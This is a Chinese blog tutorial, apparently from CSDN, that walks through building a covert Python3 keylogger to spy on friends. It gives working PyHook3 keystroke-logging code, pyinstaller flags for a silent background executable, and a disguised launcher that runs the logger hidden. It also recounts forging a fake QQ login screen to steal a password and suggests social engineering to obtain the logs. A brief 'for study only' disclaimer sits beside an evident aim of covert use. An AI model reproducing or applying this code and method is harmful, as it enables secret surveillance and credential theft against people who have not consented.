【Python3实现键盘后台监控,亲测可用,保姆级教程】Python实现键盘监控与记录,将结果保存到文档中

想必有很多朋友想要偷偷看看自己的朋友都输入了啥,而网上的教程很多都是Python以前版本的,对于与时俱进已经在用Python3的我们,很不友好。这里,提供适用于Python3的键盘记录教程,干货!那么!开启你的IDLE来场帅气的编写吧~

事先声明:由于键盘记录涉及隐私安全,本教程仅作学习用途,可以用来轻度整蛊,但绝对不能用于非法途径!做出任何违法行为都严重违反了本文的初衷,本文作者也不对任何读者的行为负责。再次强调,本文仅作学习用途与参考!

首先,实现Python3的键盘记录我们需要做如下准备:
1.库的安装
Python试试能否导入以下模块,如果不行,使用pip进行安装(不做赘述)

'''
Vent D'hiver IT Lab
在CSDN关注我 ID:qq_46704763
'''
import PyHook3
import pythoncom
import win32gui
import win32ui
import win32con
import win32api
import time
import os
import threading

另外还需要一个Python打包工具,pyinstaller,

pip install pyinstaller

2.开始编写
hook.py

'''
Vent D'hiver IT Lab
在CSDN关注我 ID:qq_46704763
'''
import PyHook3
import pythoncom
import win32gui
import win32ui
import win32con
import win32api
import time
import os
import threading
    
def onMouseEvent(event):
    if(event.Message!="mouse move"):
        print(event.MessageName)
    return True
def onKeyboardEvent(event):
    with open('.\\Data','a') as f: #打开名为Data的文件,追写内容,或者如果没有则创建,这边的文件名可以自定义
        f.write(event.Key + '''
''') #记录每个输入的内容,并且一个输入换一行(可根据个人喜好调整)
        return True
    

hookmonitor = PyHook3.HookManager()
hookmonitor.KeyDown = onKeyboardEvent
hookmonitor.HookKeyboard() #定位键盘
hookmonitor.MouseAll = onMouseEvent
hookmonitor.HookMouse() #定位鼠标
pythoncom.PumpMessages() #开始循环

3.先把这个给打包了
打开cmd,cd到脚本的目录,然后输入:

pyinstaller -w -F hook.py

-w能够生成没有黑色DOS窗口的程序,可以在后台静默运行,-F是生成单一的.exe文件,在dist文件夹中。

(pyinstaller还有其他参数可以设置,这里不做赘述)
把生成的hook.exe拿出来,放置在一个文件夹里(假设叫做hfolder),然后再在那个文件夹里新建Python脚本,我们要开始编写静默启动程序了。当然,你也可以选择让你朋友直接点开那个可疑的程序(如果失败了,那么还是乖乖去做伪装吧)

4.编写触发静默记录的伪装良民程序
动动小脑筋,去设计一个能让你朋友点开的程序,看似人畜无害,其实运行的同时也调用了键盘记录器后台运行哦~
关键代码:

import os
f = os.popen('.\\hook.exe')

这样点开就会静默运行啦,至于其他伪装层面的,自己想办法,这里不做赘述~【小编就伪造了一个腾讯QQ2020内部纪念版登陆界面(其实根本没这个版本),然后把原先的腾讯QQ在桌面的链接改成导向我这个软件的,在后期键盘记录的同时,也获取到了QQ密码!不过,都是朋友我也没干什么坏事。(什么?你不知道为什么要伪装QQ界面来获取密码?因为键盘记录器会被普通QQ登陆界面拦截,记录下来的内容根本不是原本的密码!)】

5.最后再把伪装好的软件打包
加上图标,加上一些可以吸引你朋友点开的名称,
好了,大功告成!

6.什么?你没办法直接拿到Data?
1)采用社工方法,骗取朋友给你记录结果
2)如果有人血书远程方式,我考虑写一期通过邮箱静默远程传输结果!(还不赶快点赞、关注,顺便打个赏?)

好了,都看到这里了,没钱打赏?点赞关注也行。拒绝白嫖,从你我做起。

你可能感兴趣的:(Python信息技术与安全)